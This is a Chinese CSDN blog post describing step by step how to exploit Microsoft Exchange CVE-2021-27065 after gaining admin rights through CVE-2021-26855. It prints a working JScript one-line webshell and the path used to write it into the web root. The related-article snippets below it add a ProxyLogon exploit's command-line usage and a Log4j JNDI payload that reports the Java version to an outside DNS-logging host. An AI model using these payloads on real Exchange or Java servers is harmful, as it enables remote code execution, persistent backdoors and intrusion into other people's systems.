CVE-2021–27065漏洞分析及复现

最新推荐文章于 2025-03-28 19:35:31 发布

网安星星

最新推荐文章于 2025-03-28 19:35:31 发布

阅读量443

点赞数 1

文章标签：网络安全学习

本文链接：https://blog.csdn.net/2301_80520893/article/details/136303819

版权

本文描述了CVE-2021-27065漏洞如何被利用，攻击者通过管理员权限在OAB配置中插入恶意shell脚本，实现对服务器的任意文件写入，展示了相关安全威胁和防御措施的重要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

接着昨天的说

CVE-2021–27065

CVE-2021–27065是⼀个任意⽂件写⼊漏洞，它需要登陆的管理员账号权限才能触发。而CVE-2021–26855正好可以为我们提供了管理员账号权限。

登录管理员账号后,进入:服务器——>虚拟目录——>OAB

编辑OAB配置,在外部链接中写⼊shell并保存。

http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script>

保存后选择重置虚拟目录写下shell位置为:\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx

查看shell文件,写入了一句话木马。

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

网安星星

关注关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

Exchange ProxyLogon远程代码执行漏洞(CVE-2021-27065)和勒索病毒BlackKingdom家族

不忘初心，护天下安全！

04-29

2359

Microsoft Exchange Server远程代码执行(RCE)/ProxyLogon(CVE-2021-27065)和勒索病毒BlackKingdom

CVE-2021-26858/CVE-2021-27065 Exchange 任意文件写入结合Write Dcsync Acl打域控

谢公子的博客

03-14

5304

查询域内具备Dcsync权限的用户，可以看到已经有xie\hack了 hack用户拥有dcsync权限后，即可导出域内任意用户哈希，导出administrator用户的哈希，远程连接域控。

参与评论您还未登录，请先登录后发表或查看评论

检测通过“ proxylogon”组漏洞（CVE-2021-26855，CVE-2021-26857，CVE-2021-26858，CVE-2021-27065）利用的Microsoft Exchange服务器上掉落的Web Shell-.NET开发

05-27

检测0天威胁后在Microsoft Exchange服务器上丢弃的Webshell此脚本查找0天威胁后在Microsoft Exchange服务器上丢弃的Webshell此脚本查找Microsoft Exchange服务器上易受以下CVE攻击的Webshell： -2021-26855，预认证SSRF，CVSS：3.0 9.1 / 8.4 CVE-2021-26857，不安全的反序列化导致特权升级到SYSTEM级别，CVSS：3.0 7.8 / 7.2 CVE-2021-26858，认证后文件写入， CVSS：3.0 7.8 / 7.2 CVE-2021-27065，认证后文件写入，CVSS：3.0 7.8 / 7.2在Januar期间的初始活动

cve-2021-27065:快速一线Powershell脚本来检测webshell，可能的zip和日志

03-12

我将基于搜索被盗数据继续添加任何新代码或修改现有代码如果您受到攻击，这些脚本绝不会为您解决！除了您现在知道系统发生了什么程度之外，这些都对您没有好处。话虽这么说，我将继续在此处添加脚本，以用于研究可能会从系统中窃取了哪些数据。有用的链接 CVE-2021-27065 Quick One Line Powershell脚本可检测webshell，可能的zip和日志。运行后的每个脚本都将输出到位于C根目录的临时驱动器中的CSV：快速代码说明： CompedFiles.ps1 这将从指定的路径开始遍历每个文件夹并在其中查找文件。然后，它命中的每个文件都将开始检查文件中的模式“ \ w *：// \ w / <\ w * \ s。 <。 >”。每次匹配都会选择文件的路径和找到的文件中的行选择之后，它将把它写到位于C根目录下的temp文件夹中的CSV文件中：日

CVE-2025-26466和CVE-2025-26465离线修复方案(老版本升级方案)

热门推荐

weixin_46483787的博客

07-01

1万+

CVE-2021-3156复现笔记

proxylogon-exploit:CVE-2021-26855和CVE-2021-27065的概念验证漏洞。 Exchange中未经身份验证的RCE

03-25

代理登录 CVE-2021-26855和CVE-2021-27065的概念验证漏洞，它允许在Microsoft Exchange上执行未经身份验证的远程代码，如以下资源所述：用法开发需要了解前端Exchange服务器URL（例如https://exchange.example.org ）和系统上用户的电子邮件地址。管理员SID和后端可能从服务器泄漏。 $ python exploit.py -h usage: exploit.py [-h] [--frontend FRONTEND] [--email EMAIL] [--sid SID] [--webshell WEBSHELL] [--path PATH] [--backend BACKEND] [--proxy PROXY] proxylogon proof-of-concept optional argume

exchange_webshell_detection:检测通过“ proxylogon”组漏洞（CVE-2021-26855，CVE-2021-26857，CVE-2021-26858，CVE-2021-27065）利用的Microsoft Exchange服务器上掉落的Web外壳

03-06

在0天危害后检测Microsoft Exchange服务器上掉落的Web Shell 此脚本查找掉落在Microsoft Exchange服务器上的Webshell，而这些Webshell容易受到以下CVE的攻击：，预认证SSRF，CVSS：3.0 9.1 / 8.4 ，不安全的反序列化导致特权升级到SYSTEM级别，CVSS：3.0 7.8 / 7.2 ，写后验证文件，CVSS：3.0 7.8 / 7.2 ，验证后写入文件，CVSS：3.0 7.8 / 7.2 2021年1月的最初活动归功于HAFNIUM，但此后其他威胁行为者掌握了这些漏洞并开始使用它们。在Microsoft公开发布补丁程序之前（自2月27日左右），公开暴露的Exchange服务器开始被任意利用。因此，在Microsoft发布最新的Exchange更新后立即安装这些更新并不能完全缓解先前

CVE-2021-31956 漏洞分析

wulanlin的博客

12-28

805

一、概述 CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞，攻击者可以利用此漏洞实现本地权限提升，nccgroup的博客已经进行了详细的利用分析，不过并没有贴出exploit的源代码。本篇文章记录京东信息安全实验室技术人员学习windows exploit的过程，使用的利用技巧和nccgroup提到的大同小异，仅供学习参考。二、漏洞定位漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)，NTFS

CVE-2009-0927漏洞分析

AlexYoung28的博客

08-09

2288

1 CVE-2009-0927简介 Adobe Reader 是非常流行的 PDF 文件阅读器，在其 Collab 对象的 getIcon()函数中存在一个缓冲区溢出漏洞。同时由于 PDF 文档中支持内嵌的 JavaScript，攻击者可以通过在 PDF 文档中植入恶意的JavaScript来向getIcon()函数传递特制的参数以触发溢出漏洞，并结合Heap Spray 攻...

cve-2011-0027漏洞分析

小强的博客

07-25

2203

这个漏洞是整数溢出漏洞，漏洞环境为win7+IE8 ,调试工具为windbg，静态分析工具为IDA。主要参考《漏洞战争》相关介绍，实际分析了一下。首先启动页堆。打开IE8，windbg附加进程，然后IE打开poc文件。 poc.html文件如下： function Start() { localxmlid1 = document.getElementById

CVE-2020-0796 漏洞分析报告(最详细)

RatOnSea的博客

05-28

1万+

CVE-2020-0796 漏洞分析报告 1 漏洞介绍 1.1 名称微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796 1.2 影响范围 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Se

漏洞简述-漏洞分析实例是编号CVE-2006-3439

m0_64973256的博客

08-26

447

视频制作不易，求三联支持，拜谢~ +公众账号（极安御信安全研究院/北京极安御信安全研究院）报暗号：“资料” 即可领取视频相关工具、源码、学习资料，和其他逆向工程免费课。进交流群报暗号“交流群” ...

CVE-2016-1503 漏洞分析

Beautiful Attack and Defence

01-16

1762

CVE-2016-1503 漏洞分析一、漏洞成因首先来看一下官方的描述： “A vulnerability in the Dynamic Host Configuration Protocol service could enable an attacker to cause memory corruption, which could lead to remote code execut

cve-2021-44228漏洞复现分析

03-03

### CVE-2021-44228 漏洞复现分析 #### Log4j 的介绍 Log4j 是一个广泛使用的Java日志记录库，由Apache软件基金会开发。该库允许开发者通过配置文件灵活控制日志信息的格式、级别以及输出位置。 #### 漏洞概述 CVE-2021-44228是一个存在于Log4j 2.x系列中的严重远程代码执行漏洞。当应用程序使用了受影响版本的日志组件并处理特定模式字符串时，攻击者可以构造恶意输入触发JNDI注入，从而实现任意代码执行或敏感数据泄露[^1]。 #### 复现环境准备为了安全地研究此漏洞，在隔离环境中搭建测试平台至关重要。通常情况下，这涉及到安装适当的操作系统镜像（如Kali Linux），确保已安装Java Development Kit (JDK)，因为目标应用依赖于它来运行。具体来说，对于本案例而言，建议采用JDK 1.8版本[^2]。 #### 构建利用场景构建模拟攻击的第一步是从GitHub仓库获取专门为此目的设计的工具集——`bkfish/Apache-Log4j-Learning`项目提供了详细的指南和必要的脚本支持。这些资源可以帮助研究人员快速设置好实验条件，并验证不同条件下漏洞的表现形式。 #### 利用方式实例化一种常见的利用方法是在请求参数中嵌入特殊格式化的字符串表达式`${...}`，其中包含了指向外部LDAP服务器的数据源描述符。例如，向Solr服务发送如下所示的核心管理命令： ```bash http://target/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ib1ozt.dnslog.cn} ``` 这里`${sys:java.version}`会解析成当前系统的Java版本号作为子域名的一部分传递给DNS查询，以此证明存在潜在的安全风险[^4]。 #### 受影响范围确认一旦成功触发漏洞，可以通过监控网络流量或者查看响应报文中携带的信息判断是否存在异常行为。比如观察到DNS请求中含有预期之外的内容，则表明可能已经遭受了非法入侵尝试；反之如果没有明显的迹象则说明防护措施有效阻止了威胁的发生。 #### 安全加固建议针对此类高危级别的零日缺陷，官方及时发布了补丁程序修复问题所在之处。因此强烈推荐用户尽快升级至最新稳定版Log4j以消除隐患。除此之外，还应考虑采取其他辅助性的防御策略，诸如限制对外部资源加载权限、启用严格的输入校验机制等手段进一步增强安全性。